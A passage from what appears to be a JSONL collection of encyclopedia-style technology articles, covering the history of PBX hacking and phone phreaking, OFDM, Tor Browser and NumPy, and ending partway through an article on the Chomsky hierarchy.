Milestones\n\n1878\n\nAt a time when telephone calls are routed via **manual switchboards**, two switchboard operators of the Bell Telephone Company intentionally disconnect or misdirect calls. Historically, this is probably the first attempt at hacking telephone networks. Hackers in these early days are simply practical jokers who don't cause serious damage. These operator hacks disappear once switchboards get automated in the 1890s via electro-mechanical switching. \n\nNov  \n1963\n\nMIT's student newspaper, *The Tech*, features an article titled *Telephone Hackers Active*. It describes how student hackers are occupying tie-lines between MIT and Harvard, or making long-distance calls for free. A PDP-1 computer searches for outside lines by listening for a dial tone. Some students are even expelled for this. Subsequently, the MIT phone system is updated to prevent calls over tie-lines. \n\n1968\n\nIn the U.S., a community of phone hackers begins to take shape during 1968-1969. About this time, the term **phone freak** comes into use. By the end of the decade, whistles and flutes are readily available to aid hackers. For instance, since the mid-1960s, Cap'n Crunch whistle that came with a box of cereals was used by hackers. It emitted 2,600 Hz, a useful tone for hacking. Years later, phone companies install digital filters to block this and other specific tones. \n\n1971\n\nIn June, a newsletter of the Youth International Party Line, uses the word **phreek** in its first issue. In October, an Esquire article titled *Secrets of the Little Blue Box* uses the term **phreak** in what may be the first published use of the term. The article describes how toll-free 800 numbers and a tone at 2,600 Hz could be used to occupy tandem lines and place long-distance calls for free. \n\n1972\n\n**Semiconductors** are used in PBX equipment and switching. Through the 1970s, dropping cost of hardware and lower operational expenses make PBX attractive. More and more companies install PBX systems.  This also implies more opportunities for phreakers.\n\nApr  \n1992\n\nFor greater awareness, the NIST publishes **NISTIR 4816**, *PBX Administrator’s Security Standards*. This discusses the different techniques that PBX hackers use and what PBX administrators can do to mitigate them. These include setting passwords, educating users, protecting voicemails, monitoring PBX options, reviewing billing records and limiting outgoing international calls. A related publication from 2001 is **NIST 800-24**, *PBX Vulnerability Analysis*. \n\n1993\n\nIn the U.K., the National Computing Centre includes in its regular survey report a new item name \"PBX hacking\" that has cost organizations £10,000. Although computer hacking dropped from 29.7% (1987) to 8.8% (1993), it's clear that hackers have simply moved to hacking PBX and voicemail systems. This is the result of traditional PBX systems giving way to **IP PBX systems**.\n\nNov  \n2011\n\nFour hackers in the Philippines are arrested for PBX hacking funded by a terrorist organization. The phreakers used PBX systems to call Premium Rate Service (PRS) numbers. The revenue from this was split between the phreakers and the terrorists. One of the phreakers had previously hacked PBX systems by exploiting default passwords and unused extensions. He and his associates then offered long-distance call services to customers at low rates, placing calls worth $55 million during 2005-2008. \n\nDec  \n2014\n\nA Pakistani national named Qasmani is arrested for scamming American telecom companies to the loss of $19.6 million during 2008-2012. Qasmani has been an active phreaker since the late 1990s. He and his associates exploited unused extensions of PBX systems and placed calls to pay-per-minute PRS numbers that they had set up. In June 2017, he's sentenced to four years in prison. \n\n2019\n\nA survey of Communications Service Providers (CSPs) by the Communications Fraud Control Association reveals that the estimated global loss in 2019 due to communications fraud is $28.3 billion. Of this, PBX hacking and IP PBX hacking account for $1.82 billion each.","meta":{"title":"PBX Hacking","href":"pbx-hacking"}}
{"text":"# Orthogonal Frequency Division Multiplexing\n\n## Summary\n\n\nOrthogonal Frequency Division Multiplexing (OFDM) is a key wideband digital communication method used in wireless transmission. Data is split into several streams and transmitted on multiple narrowband channels to reduce interference and crosstalk.\n\nDue to its good spectral efficiency and relatively less complexity, it's one of the popular techniques used in telecommunications. It's used in multiple standards including DAB, HDTV, WLAN (802.11a/g/ac), WiMAX, and LTE. It enables transmission of high data rates (in the order of 1 Gbps) on a wireless channel.\n\n## Discussion\n\n### Could you give an overview of OFDM?\n\nOFDM is a **Multi-Carrier Modulation (MCM)** scheme, which uses closely spaced multiple subcarriers to transmit data. Data to be transmitted is split and transmitted using multiple subcarriers instead of using a single carrier.  The key idea is instead of transmitting at a very high bit rate, the data is transmitted over multiple subchannels each carrying lower bit rates. \n\nUnlike the traditional Frequency Division Multiplexing (FDM), the OFDM does not use guard bands to separate the various subchannels. One of the key features of OFDM is the orthogonality of the subcarriers used to transmit data. The orthogonality of subcarriers results in more subcarriers in a given bandwidth. This improves spectral efficiency. It also eliminates the interference between subcarriers, often called **Inter-Carrier Interference (ICI)**.\n\n\n### Why is OFDM used in wireless transmission?\n\nOne of the key challenges in wireless transmission as compared to wired transmission is the phenomenon of multipath fading and **Inter-Symbol Interference (ISI)**. OFDM helps in mitigating both these effects, making it one of the key technologies to be used in wireless transmission. OFDM uses spectrum in a more efficient way compared to some of the other techniques used to overcome multipath fading and Inter Symbol Interference. \n\n\n### How does OFDM ensure subcarriers do not interfere with each other?\n\nOFDM splits the available spectrum into multiple subbands and transmits data using multiple subcarriers. The subcarriers are chosen such that they are orthogonal to each other. This ensures that data from one subcarrier does not interfere with the data on the other. To maintain orthogonality between subcarriers, the subcarriers are chosen such that they are all integer multiples of the base frequency. If the total bandwidth of the system is B Hz. Then the base frequency (f0) is given by B/N, where N is the number of subcarriers in the system. The subcarriers used are f0, 2f0, 3f0 ... (N-1)f0.\n\nThe spectrum of each transmitted subcarrier in OFDM system is a `sinc` function with side-lobes that produce overlapping spectra between subcarriers. Since the carriers are orthogonal, the peak of each subcarrier coincides with nulls of other subcarriers. Even though there's overlap of spectra between subcarriers, there's no interference between subcarriers.\n\n\n### What's the role of FFT and IFFT in OFDM implementation?\n\nOFDM system involves mapping of symbols onto a set of orthogonal subcarriers that are multiples of the base frequency. This can be implemented in digital domain using Fast Fourier Transform (FFT) and Inverse Fast Fourier Transform (IFFT). These transforms are important from OFDM perspective as they can be viewed as mapping digital input data onto orthogonal subcarriers.\n\nThe IFFT takes frequency-domain input data and converts it to the time-domain output data (analog OFDM symbol waveform). This waveform is transmitted by the OFDM transmitter. The receiver receives the waveform and uses FFT transform to convert the data back from time-domain into frequency domain to recover the data back.\n\n\n### What's guard band and cyclic prefix in OFDM?\n\nOFDM systems make use of guard band and cyclic prefix (CP) to overcome the issue of ISI. While guard band is not required to achieve orthogonality of subcarriers, it helps in overcoming ISI in a multipath channel. The duration of the guard band should be more than the channel spread of the wireless medium.\n\nThe cyclic prefix is transmitted during the guard band interval. After IFFT, some end bits of the OFDM symbol are copied to the guard band before the symbol to form the CP.\n\nReceivers often have a channel equalizer to combat channel distortion. CP simplifies equalizer implementation. Essentially, CP converts a linear convolution to a circular convolution. Circular convolution in time domain is equivalent to a simple multiplication in the frequency domain. The channel equalizer in the receiver multiplies the received symbol by the inverse of the channel coefficients in frequency domain to recover the original transmitted symbol, assuming that fading is constant over the subband.\n\n\n### How is a typical OFDM transmitter and receiver implemented?\n\nIn an OFDM transmitter, the input bits are first grouped into symbols in frequency domain by using a serial-to parallel-converter. These frequency domain symbols are then taken as input by the IFFT block. The IFFT block converts the input symbol into time domain symbol by doing an IFFT operation on the input. The cyclic prefix is added to the output of IFFT block by the cyclic prefix block. This symbol is then converted back to series of bits by the parallel-to-serial converter and transmitted. \n\nIn the OFDM receiver the input signal is passed through the channel equalizer block first, to cancel any impairments introduced by the wireless channel. The output of the equalizer is then input to the prefix extraction block to remove the cyclic prefix. The output of the prefix extraction block is then given to the FFT block. This block converts the input to frequency domain output by doing an FFT operation. Thus the OFDM receiver recovers the original bits back by doing a parallel-to-serial operation. \n\n\n### What are the advantages of OFDM?\n\nHere are some advantages: \n\n    + **High spectral efficiency**: Compared to other schemes like spread-spectrum, OFDM uses the available spectrum in a more efficient way.\n    + **Robust against multipath fading and Inter-Symbol Interference**: Due to low data-rate in each subchannel, OFDM is more resilient to inter-symbol interference caused by multipath propagation.\n    + **Simpler channel equalizer in receiver**: In case of OFDM the channel equalization can be done in frequency domain and is a multiplication operation of the received symbol with the channel equalizer.\n    + **Efficient implementation**: Implementation can be done using IFFT and FFT, thus eliminating the need for multiple mixers in transmitter and receiver.\n    + **Robustness against selective fading**: Since the transmission is done using multiple smaller subbands, frequency selective fading appears as flat fading for each subband.\n    + **Resilience to narrow band interference**: Due to narrow band interference, contents in some of the subchannels will be lost. It is possible to recover it by using channel coding and interleaving data before transmission.\n    + **Tuned subchannel receivers not required**: Unlike conventional FDM, tuned subchannel receivers are not required, thus simplifying the receiver design\n\n### What are the disadvantages of OFDM?\n\nHere are some disadvantages: \n\n    + **Sensitive to Carrier offset and frequency drift**: In case there is an offset between the transmitter and receiver carrier frequencies, the orthogonal property of the OFDM is lost. Thus OFDM systems are very sensitive to carrier frequency offsets.\n    + **High Peak-To-Average power ratio**: Since the output of multiple subbands are combined to get the OFDM signal, the OFDM signal has a very high dynamic range of amplitude. This leads to complex RF design as the amplifiers need to be linear for the entire amplitude range. This also leads to lower efficiency of the RF amplifier.\n\n\n## Milestones\n\n1870\n\nAlexander Graham Bell is initially funded by his future father-in-law Gardiner Hubbard to work on *harmonic telegraphy*, which is an **FDM** transmission of multiple telegraph channels. With FDM, more than one low rate signal is carried over a relatively wide channel using a separate carrier frequency for each signal.\n\n1957\n\nCollins Radio Company develops the **Kineplex** system to overcome multipath fading. 20 tones are modulated by differential 4-PSK without filtering. Tones can be separable by bank of filters at the receiver. \n\n1961\n\nFranco and Lachs propose a multitone, code-multiplexing scheme using a 9-point QAM constellation for each carrier. Sine and Cosine waves used to generate orthogonal signals. \n\n1966\n\nWhat could be termed as the birth of modern OFDM, Robert W. Chang publishes *Synthesis of Band-Limited Orthogonal Signals for Multichannel Data Transmission*. He uses Fourier transform to make the subcarriers orthogonal. His system is able to transmit signals in parallel without either ISI or ICI. \n\n1967\n\nB.R. Saltzberg extends Chang's work to complex data, that is, Quadrature Amplitude Modulation (QAM). He shows that I and Q streams should be staggered by T/2, and adjacent channels the other way. Zimmerman and Kirsch publish a paper on the design of an HF (high frequency) radio OFDM transceiver (KATHRYN). This uses 34 subchannels in a 3kHz bandwidth. KATHRYN uses analog hardware to generate orthogonal signals using Discrete Fourier transform (DFT). \n\n1971\n\nWeinstein and Ebert use **Fast Fourier Transform (FFT)** implementation of DFT. This greatly reduces the cost and complexity of OFDM systems. However, Weinstein notes later Bell Labs didn't show much interest in this. The big applications of OFDM (ADSL, wireless communications, digital audio/video broadcasting) came years later. Weinstein and Ebert also introduce the **guard band** for multipath channels. \n\n1980\n\nAlthough earlier work made the subcarriers orthogonal, in a time dispersive channel the orthogonality was lost resulting in ISI. Peled and Ruiz solve this by introducing **Cyclic Extension (CE)**. Today we use the more familiar term **Cyclic Prefix (CP)**. Effective data rates are reduced but the gain in terms of zero ISI is worth it. \n\n1985\n\nFor better channel estimation, L.J. Cimini introduces a pilot-based method to reduce interference from multipath and co-channels. This work becomes important in the context of cellular mobile systems where channels experience fast selective fading. \n\nJan  \n1993\n\nAmati's prototype of an ADSL modem wins a competition with Carrierless Amplitude-Phase (CAP) Modulation in a Bellcore-sponsored test. The technique used is **Discrete Multi-Tone (DMT)**, which is essentially OFDM. Soon ADSL becomes the first major consumer-oriented application of OFDM. It uses 256-point DFT with subcarriers separated by 4.3125 kHz and a (block) symbol rate of 4000/s. Early deployments using Amati equipment happen with British Telecom in late 1993 and early 1994, offering 2 Mbps downstream. \n\n1999\n\n**802.11a** WLAN standard is published as an amendment of 802.11 from 1997. It uses OFDM in the physical layer for data transmission. 802.11a's OFDM has 52 subcarriers (4 pilot + 48 data), 64-point FFT, and 312.5 kHz of subcarrier spacing.","meta":{"title":"Orthogonal Frequency Division Multiplexing","href":"orthogonal-frequency-division-multiplexing"}}
{"text":"# Tor Browser\n\n## Summary\n\n\nTor Browser is a standalone desktop application that helps users browse the web safely and anonymously. Since many users use the Internet via a web browser, Tor Browser is a useful application for anonymity. It hides your device's IP address and its location. It prevents third parties from snooping into your online activities or even tracking you. \n\nTor Browser is based on the open sourced code of Firefox browser. It adds further privacy and security settings. \n\nUnderneath, Tor Browser relies on the Tor network of relay nodes. In the past, it was difficult to use Tor since one had to install a number of tools separately. Today, Tor Browser bundles all the necessary tools into a single archive of files, thus making it easier for users to adopt Tor.\n\n## Discussion\n\n### What are the features of the Tor Browser?\n\nTor Browser is cross-platform and available for x86 and x86\\_64 architectures. Encryption and decryption are done automatically. It can update itself to latest version. What previously required separate installations of Tor, Firefox browser, Torbutton (Firefox add-on) and Polipo (HTTP proxy), are now conveniently bundled within the Tor Browser. \n\nA new separate circuit is automatically created for each domain though they share a common guard node. This process is transparent to users but Tor Browser allows users to inspect the current circuit and request a new circuit if so desired. From within the browser, users can also request Tor bridges by solving a captcha. Each circuit lives for only ten minutes. \n\nSince each website is isolated from another, this prevents tracking from third parties. Tor Browser resists browser fingerprinting. To prevent cookie-based tracking, cookies and browsing history are cleared when the browser is closed. It also prefers DuckDuckGo over Google as the search engine, since Google tracks you and logs your search queries. \n\n\n### What are the variants of Tor Browser for different platforms?\n\nTor Browser is available for Microsoft Windows, Apple MacOS and GNU/Linux. As of March 2019, an experimental version 8.5a8 is also available for Android. \n\nTwo popular add-ons that come with Tor Browser by default are NoScript and HTTPS Everywhere. \n\nFor Android, there's also **Orbot**, a proxy that enables Tor access for any mobile app. **Orfox** is a browser for Android that was developed as part of the Guardian Project. This is likely to be discontinued when a stable version of Tor Browser for Android is released. \n\nThird-party **Onion Browser** is the one to use for iOS. \n\n\n### I already use private/incognito mode in Firefox/Chrome. Why do I need Tor Browser?\n\nPrivate modes avoid saving your browsing history and cookies. Otherwise, they are vulnerable to fingerprinting and network adversaries. Shortcomings are plugins, fingerprinting, DNS leaks, SSL state leaks, autofill and site-specific zoom. This is where Tor Browser becomes useful. \n\nOn a related note, Tor provides anonymity at the routing layer. However, Tor can't protect you if your hardware is compromised, such as a key logger. Tor doesn't encrypt traffic between the exit node and final destination, for which you should use app-level encryption, such as SSL for HTTPS traffic. In fact, an add-on such as *HTTPS Everywhere* can help in enforcing security for sites that support it. Electronic Frontier Foundation has a nice animation to show how HTTPS works alongside Tor.\n\nTor will also not protect you from improper usage. For example, BitTorrent over Tor is not anonymous. \n\n\n### What are some alternatives to the Tor Browser for anonymous web browsing?\n\nTor Browser is not the only way to achieve anonymity while browsing the web. *I2P* provides a peer-to-peer distributed communications layer. It's suited for hidden services. *Freenet* uses a similar P2P technology. Linux-based distributions that focus on privacy and anonymity (some of which use Tor underneath) include *Tails*, *Subgraph* and *Freepto*. \n\n*Qubes OS* is a desktop OS focused on security. It uses virtualization to give users any OS of their choice. *Whonix* OS is integrated into Qubes. With Whonix, we can connect to Tor from inside a VM. \n\n*Epic Browser* doesn't use any special networking architecture. However, it disables history, third-party cookies, DNS pre-fetching, and autofill in forms. These are common ways in which privacy can be compromised. \n\n*Brave* browser integrates Tor. Users can open a private tab with Tor. \n\nOther alternatives are listed at alternative.me.\n\n## Milestones\n\nOct  \n2003\n\nTor network is deployed. Tor code is open sourced under MIT license. Tor itself is an improvement over Onion Routing that started as a research project in 1995. \n\nMar  \n2008\n\nVersion 1.0.0 of Tor Browser Bundle is released. \n\nJun  \n2017\n\nTor Browser 7.0 is released with multiprocess mode and content sandbox as two major features. Sandboxing is not yet available on Windows. Until this release, lack of sandboxing was a problem and was exploited by the FBI. This version is based on Firefox 52 Extended Support Release (ESR). ESR is meant to help organizations to mass deploy the browser.\n\nSep  \n2018\n\nTor Browser version 8 is released based on Firefox Quantum codebase that came out in November 2017. User interface is Photon UI that Firefox Quantum uses. Also in September, alpha release of **Tor Browser for Android** happens.\n\nMay  \n2019\n\nTor Browser version 8.5 becomes the first stable release for Android. Tor Browser also gets newly designed logos compatible with Firefox's Photon UI.","meta":{"title":"Tor Browser","href":"tor-browser"}}
{"text":"# NumPy\n\n## Summary\n\n\nNumPy is an open source Python library that enables efficient manipulation of multi-dimensional numerical data structures. These are called **arrays** in NumPy. NumPy is an alternative to Interactive Data Language (IDL) and MATLAB. \n\nSince it's release in 2005, NumPy has become a fundamental package for numerical and scientific computing in Python. In addition to efficient data structures and operations on them, it provides many high-level mathematical functions that aid scientific computation. Pandas, SciPy, Matplotlib, scikit-learn and scikit-image are just a few popular scientific packages that make use of NumPy.\n\n## Discussion\n\n### What does NumPy do differently from core Python?\n\nPython is slower than compiled languages such as C but it's easy to learn. Python is suited for rapid prototyping and iterative development. \n\nWhile Python's `list` data type can be used to construct multi-dimensional data structures (lists containing lists), NumPy is faster and provides a better API for developers. Python's lists are general purpose. They can contain data of different types. This means that types are also stored, type-dispatching code is invoked at runtime and types are checked. Lists are processed using loops or comprehensions and can't be vectorized to support elementwise operations. NumPy sacrifices some of Python's flexibility to improve performance. \n\nSpecifically, NumPy is better at these aspects: \n\n    + **Size**: NumPy data structures take up less space. Each Python integer object takes 28 bytes whereas in NumPy an integer is just 8 bytes. A Python list of `n` items requires `64+8n+28n` bytes whereas in NumPy it's `96+8n` bytes.\n    + **Performance**: NumPy code runs faster than Python code, particularly for large input data.\n    + **Functionality**: NumPy provides lots of functions and methods to simplify operations. High-level operations such as linear algebra are also included.\n\n### What are some of the main features of NumPy?\n\nNumPy arrays are **homogeneous**, meaning that array elements are of the same type. Hence, no type checking is required at runtime. All elements of an array take up same amount of space. \n\nThe spacing between elements along an axis is also constant. This is called **striding**. This is useful when the same data in memory can be used to create a new array without copying. Different arrays are therefore different **views** into memory. Thus, it's easier to modify data subsets in memory. \n\nOperations are **vectorized**, which means that the operation can be executed in parallel on multiple elements of the array. This speeds up computation. Developers need not write `for` loops. \n\nNumPy provides APIs for easy manipulation of arrays. Some of these are indexing, slicing, reshaping, stacking and splitting. **Broadcasting** is a feature that allows operations between vectors and scalars, or vectors of different sizes. \n\nNumPy **integrates easily** with C/C++ or Fortran code that may provide optimized implementations. Useful functions covering linear algebra, Fourier transform, and random numbers are provided. \n\n\n### Could you share some performance numbers comparing NumPy versus Python implementations?\n\nFor a simple computation of mean and standard deviation of a million floating point numbers, NumPy was **30X faster** than a pure Python implementation. However, optimized Cython and C implementations were even faster. Another study showed that if input is small (less than 200 numbers), pure Python did better than NumPy. For inputs greater than about 15,000 numbers, NumPy outperformed C++. \n\nOne experiment in Machine Learning compared pure Python, NumPy and TensorFlow (on CPU) implementations of gradient descent. Runtimes were 18.65, 0.32 and 1.20 seconds respectively. NumPy was **50X faster** than pure Python. For more complex ML problems deployed on multiple GPUs, TensorFlow is likely to outperform NumPy. \n\nWhen evaluating NumPy performance, the underlying library for vector/matrix computations matters. NumPy comes with *Default BLAS & Lapack*. Depending on the distribution, alternatives may be included: *OpenBLAS*, *Intel MKL*, *ATLAS*, etc. In general, these alternatives are faster than the default library. For example, SVD is 10X faster on Intel MKL. \n\nHardware platforms may provide further acceleration. For example, Intel AVX2 provides at least 20% improvement on top of OpenBLAS. \n\n\n### Does NumPy automatically make use of GPU hardware?\n\nNumPy doesn't natively support GPUs. However, there are tools and libraries to run NumPy on GPUs.\n\n**Numba** is a Python compiler that can compile Python code to run on multicore CPUs and CUDA-enabled GPUs. Numba also understands NumPy and generates optimized compiled code. Developers specify type signatures for Python functions. Numba uses them towards just-in-time (JIT) compilation. Numba team also provides `pyculib`, which is a Python interface to CUDA libraries such as cuBLAS, cuFFT and cuRAND. \n\n**Grumpy** has been proposed as a framework to seamlessly target multicore CPUs and GPUs. It does a mix of JIT compilation and offloading to optimized libraries such as cuBLAS or LAPACK. \n\n**CuPy** is a Python library that implements NumPy arrays for CUDA-enabled GPUs and leverages CUDA GPU acceleration libraries. The code is mostly a drop-in replacement to NumPy code since the APIs are very similar. **PyCUDA** is a similar library from NVIDIA. \n\n**MinPy** is similar to CuPy and is meant to be a NumPy interface above MXNet for building artificial neural networks. It includes auto differentiation in addition to transparent CPU/GPU acceleration. \n\n\n### What are some essential resources to learn NumPy?\n\nThe main NumPy website is the definitive resource to consult. Beginners can start by reading their Quickstart tutorial or the absolute beginner's guide. The latter includes the basics of installing NumPy. \n\nRougier's book titled From Python to Numpy focuses on Python programmers who wish to learn NumPy and it's vectorization. Perhaps a classic is the PhD thesis titled Guide to NumPy, by Travis E. Oliphant who created NumPy. \n\nMATLAB users might want to read NumPy for Matlab users. It maps MATLAB operations to NumPy equivalents. \n\nDataCamp blog has shared a handy NumPy cheatsheet.\n\nThose who wish to contribute to the NumPy project or study it's source code can head to NumPy's GitHub repository.\n\n## Milestones\n\n1995\n\n*Numeric* is released to enable numerical computations. It's designed to provide **homogeneous numeric arrays**, that is, arrays whose elements all belong to the same data type, and therefore easier and faster to process. \n\n2005\n\n*NumPy* is released based on an older library named *Numeric*. It also combines features of another library named *Numarray*. NumPy is initially named *SciPy Core* but renamed to *NumPy* in January 2006. \n\nOct  \n2006\n\n*NumPy v1.0* is released. \n\nApr  \n2009\n\n*NumPy v1.3.0* is released. This release includes **experimental Windows 64-bit support**. Support for 64-bit OpenBLAS comes a decade later in December 2019. \n\nAug  \n2010\n\n*NumPy v1.5.0* is released. This is the **first release to support Python 3**. \n\nJan  \n2019\n\nGitHub publishes a study of Machine Learning (ML) projects hosted on their platform. The study spans contributions from Jan-Dec 2018. It's seen that **74%** of ML Python projects import NumPy. This is followed by SciPy and Pandas. \n\nJul  \n2019\n\n*NumPy v1.17.0* is released. This release supports Python 3.5-3.7 but **drops support for Python 2.7**. In fact, NumPy v1.16.x is the last series to support Python 2.7 but being a long term release, v1.16.x will be maintained till 2020. NumPy v1.16.6 is released in December 2019. \n\nFeb  \n2020\n\nFollowing the end of life of Python 2 in January 2020, the number of downloads for older NumPy releases based on Python 2 falls sharply. By April 2020, 80% of NumPy downloads are based on Python 3.","meta":{"title":"NumPy","href":"numpy"}}
{"text":"# Chomsky Hierarchy\n\n## Summary\n\n\nAny language is a structured medium of communication whether it is a spoken or written natural language, sign or coded language, or a formal programming language. Languages are characterised by two basic elements – syntax (grammatical rules) and semantics (meaning). In some languages, the meaning might vary depending upon a third factor called context of usage. \n\nDepending on restrictions and complexity present in the grammar, languages find a place in the hierarchy of formal languages. **Noam Chomsky**, celebrated American linguist cum cognitive scientist, defined this hierarchy in 1956 and hence it's called **Chomsky Hierarchy**. \n\nAlthough his concept is quite old, there's renewed interest because of its relevance to Natural Language Processing. Chomsky hierarchy helps us answer questions like “Can a natural language like English be described (‘parsed’, ‘compiled’) with the same methods as used for formal/artificial (programming) languages in computer science?”\n\n## Discussion\n\n### What are the different levels in the Chomsky hierarchy?\n\nThere are 4 levels – Type-3, Type-2, Type-1, Type-0. With every level, the grammar becomes less restrictive in rules, but more complicated to automate. Every level is also a subset of the subsequent level. \n\n    + **Type-3: Regular Grammar** - most restrictive of the set, they generate regular languages. They must have a single non-terminal on the left-hand-side and a right-hand-side consisting of a single terminal or single terminal followed by a single non-terminal.\n    + **Type-2: Context-Free Grammar** - generate context-free languages, a category of immense interest to NLP practitioners. Here all rules take the form A → β, where A is a single non-terminal symbol and β is a string of symbols.\n    + **Type-1: Context-Sensitive Grammar** - the highest programmable level, they generate context-sensitive languages. They have rules of the form α A β → α γ β with A as a non-terminal and α, β, γ as strings of terminals and non-terminals. Strings α, β may be empty, but γ must be nonempty.\n    + **Type-0: Recursively enumerable grammar** - are too generic and unrestricted to describe the syntax of either programming or natural languages.\n\n### What are the common terms and definitions used while studying Chomsky Hierarchy?\n\n    + **Symbol** - Letters, digits, single characters. Example - A,b,3\n    + **String** - Finite sequence of symbols. Example - Abcd, x12\n    + **Production Rules** - Set of rules for every grammar describing how to form strings from the language that are syntactically valid.\n    + **Terminal** - Smallest unit of a grammar that appears in production rules, cannot be further broken down.\n    + **Non-terminal** - Symbols that can be replaced by other non-terminals or terminals by successive application of production rules.\n    + **Grammar** - Rules for forming well-structured sentences and the words that make up those sentences in a language. A 4-tuple **G = (V , T , P , S)** such that V = Finite non-empty set of non-terminal symbols, T = Finite set of terminal symbols, P = Finite non-empty set of production rules, S = Start symbol\n    + **Language** - Set of strings conforming to a grammar. Programming languages have finite strings, most natural languages are seemingly infinite. Example – Spanish, Python, Hexadecimal code.\n    + **Automaton** - Programmable version of a grammar governed by pre-defined production rules. It has clearly set computing requirements of memory and processing. Example – Regular automaton for regex.\n\n### What are the corresponding language characteristics in each level?\n\nUnder **Type-3** grammar, we don't classify entire languages as the production rules are restrictive. However, constructs describable by **regular expressions** come under this type.\n\nFor instance, **rule for naming an identifier in a programming language** – regular expression with any combination of case-insensitive letters, some special characters and numbers, but must start with a letter. \n\n**Context-free** languages classified as **Type-2** are capable of handling an important language construct called **nested dependencies**. English example – Recursive presence of “If <phrase> then <phrase>” – “If it rains today and if I don’t carry an umbrella, then I'd get drenched”. For programming languages, the matching parentheses of functions or loops get covered by this grammar. \n\nIn **Type-1** languages, placing the restriction on productions α → β of a phrase structure that β be at least as long as α, they become context sensitive. They permit replacement of α by β only in a ‘context’, [context] α [context] → [context] β [context]. \n\nFinally, **Type-0** languages have **no restrictions** on their grammar and may loop forever. They don’t have an algorithm enumerating all the elements.\n\n\n### What are the type of Automaton that recognizes the grammar in each level?\n\n    + **Type-3: Finite-State Automata** - To compute constructs for a regular language, the most important consideration is that there is no memory requirement. Think of a single purpose vending machine for platform tickets or a lift algorithm. The automaton knows the present state and next permissible states, but does not ‘remember’ past steps.\n    + **Type-2: Push-Down Automata** - In order to match nested dependencies, this automaton requires a one-ended memory stack. For instance, to match the number of ‘if’ and ‘else’ phrases, the automaton needs to ‘remember’ the latest occurring ‘if’. Only then it can find the corresponding ‘else’.\n    + **Type-1: Linear-Bounded Automata** - is a form of a restricted Turing machine which instead of being unlimited, is bounded by some computable linear function. The advantage of this automaton is that its memory requirement (RAM upper limit) is predictable even if the execution is recursive in parts.\n    + **Type-0: Turing Machine** - Non-computable functions exist in Mathematics and Computer Science. The Turing machine however allows representing even such functions as a sequence of discrete steps. Control is finite even if data might be seemingly infinite.\n\n### Can you give a quick example for each type of grammar/language?\n\n    + Type-3: Regex to define tokens such as identifiers, language keywords in programming languages. A coin vending machine that accepts only 1-Rupee, 2-Rupee and 5-Rupee coins has a regular language with only three words – 1, 2, 5.\n    + Type-2: Statement blocks in programming languages such as functions in parentheses, If-Else, for loops. In natural language, nouns and their plurals can be recognized through one NFA, verbs and their different forms can be recognized through another NFA, and then combined. Singular (The girl runs home –> Girl + Runs). Plural (The girls run home –> Girls + Run)\n    + Type-1: Though most language constructs in natural language are context-free, in some situations linear matching of tokens has to be done, such as - \"The square roots of 16, 9 and 4 are 4, 3 and 2, respectively.\" Here 16 is to be matched with 4, 9 is matched with 3, and 4 is matched with 2.\n    + Type-0: A language with no restrictions is not conducive to communication or automation. Hence there are no common examples for this type. However, some mathematical seemingly unsolvable equations are expressed in this form.\n\n### In which level of the hierarchy do formal programming languages fall?\n\nReading a text file containing a high-level language program and compiling it as per its syntax is done in two steps.\n\nFinite state models associated with **Type-3 grammar** are used for performing the first step of **lexical analysis**. Raw text is aggregated into keywords, strings, numerical constants and identifiers in this step. \n\nIn the second step, to **parse the program constructs** of any high level language according to its syntax, a **Context-Free Grammar** is required. Usually these grammars are specified in *Backus-Naur Form (BNF)*.\n\nFor example, to build a grammar for IF statement, grammar would begin with a non-terminal statement S. Rules will be of the form:\n\nS → IF-STATEMENT\n\nIF-STATEMENT → if CONDITION then BLOCK endif\n\nBLOCK → STATEMENT | BLOCK;\n\nConventionally, all high-level programming languages can be covered under the Type-2 grammar in Chomsky’s hierarchy.\n\nPython language has a unique feature of being white-space sensitive. To make this feature fit into a conventional CFG, Python uses two additional tokens ‘INDENT’ and ‘DEDENT’ to represent the line indentations. \n\nHowever, just syntactic analysis does not guarantee that the language will be entirely ‘understood’. Semantics need to match too.\n\n\n### Where can we place natural languages in the hierarchy?\n\nNatural languages are an infinite set of sentences constructed out of a finite set of characters. Words in a sentence don’t have defined upper limits either. When natural languages are reverse engineered into their component parts, they get broken down into four parts - **syntax, semantics, morphology, phonology**. \n\nTokenising words and identifying nested dependencies work as explained in the previous section.\n\n**Part-of-Speech Tagging** is a challenge. “He runs 20 miles every day” and “The batsman scored 150 runs in one day” – the same word ‘runs’ becomes a noun and verb. Finite state grammars can be used for resolving such lexical ambiguity. \n\n**Identifying cases** (subjective - I, possessive - Mine, objective - Me, etc) for nouns varies across languages: Old English (5), Modern English (3), Sanskrit and Tamil (8). Each case also has interrogative forms. Clear definition of cases enables free word order. The CFG defined for these languages take care of this. \n\nNatural languages are believed to be at least context-free. However, Dutch and Swiss German contain grammatical constructions with **cross-serial dependencies** which make them context sensitive. \n\nLanguages having clear and singular source text of grammar are easier to classify.\n\n\n### Are there any exceptional cases in natural languages that make its classification ambiguous?\n\nNLP practitioners have successfully managed to assign a majority of natural language aspects to the regular and CFG category. However, some aspects don't easily conform to a particular grammar and require special handling.\n\n    + **Structural ambiguity** – Example ‘I saw the man with the telescope’. A CFG can assign two or more phrase structures (“parse trees”) to one and the same sequence of terminal symbols (words or word classes).\n    + **Ungrammatical speech** – Humans often talk in sentences that are incorrect grammatically. Missing words sometimes are implied in a sentence, not uttered explicitly. So decoding such sentences is a huge challenge as they don't qualify as per any defined grammar, but a native speaker can easily understand them.\n    + **Sarcasm or proverb usage** – When we say something but mean something entirely different. Here the semantic analysis becomes critical. We don’t build grammars for these cases, we just prepare an exhaustive reference data set.\n    + **Mixed language use** – Humans often mix words from multiple languages. So computing systems need to identify all the constituent language words present in the sentence and then assign them to their respective grammars.\n\n### What are the important extensions to Chomsky hierarchy that find relevance in NLP?\n\nThere are two extensions to the traditional Chomsky hierarchy that have proved useful in linguistics and cognitive science:\n\n    + **Mildly context-sensitive languages** - CFGs are not adequate (weakly or strongly) to characterize some aspects of language structure. To derive extra power beyond CFG, a grammatical formalism called Tree Adjoining Grammars (TAG) was proposed as an approximate characterization of Mildly Context-Sensitive Grammars. It is a tree generating system that factors recursion and the domain of dependencies in a novel way leading to 'localization' of dependencies, their long distance behaviour following from the operation of composition, called 'adjoining'. Another classification called Minimalist Grammars (MG) describes an even larger class of formal languages.\n    + **Sub-regular languages** - A sub-regular language is a set of strings that can be described without employing the full power of finite state automata. Many aspects of human language are manifestly sub-regular, such as some ‘strictly local’ dependencies. Example – identifying recurring sub-string patterns within words is one such common application.\n\n\n## Milestones\n\n1928\n\nAvram Noam Chomsky is born on December 7, 